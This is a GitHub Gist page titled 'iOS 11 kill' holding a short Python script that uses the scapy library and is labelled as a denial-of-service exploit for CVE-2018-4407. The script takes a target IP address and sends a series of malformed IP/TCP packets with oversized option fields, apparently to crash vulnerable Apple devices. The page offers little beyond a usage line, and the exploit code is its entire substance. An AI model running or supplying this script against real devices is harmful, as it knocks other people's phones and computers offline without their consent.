Created
November 6, 2018 19:24
-
-
Save oboje/8e93987a8abf7196cb379eb1797b72cc to your computer and use it in GitHub Desktop.
iOS 11 kill
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # CVE-2018-4407 ICMP DOS | |
| from scapy.layers.inet import IPOption, TCP, IP | |
| from scapy.all import * | |
| from scapy import * | |
| if __name__ == '__main__': | |
| try: | |
| check_ip = sys.argv[1] | |
| print('CVE-2018-4407 ICMP DOS - ' + check_ip) | |
| for i in range(8, 20): | |
| send(IP(dst=check_ip, options=[IPOption("A" * i)]) / TCP(dport=2323, options=[(19, "1" * 18), (19, "2" * 18)])) | |
| print("[*] Done") | |
| except Exception: | |
| print('usage: sudo python3 check.py IP') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment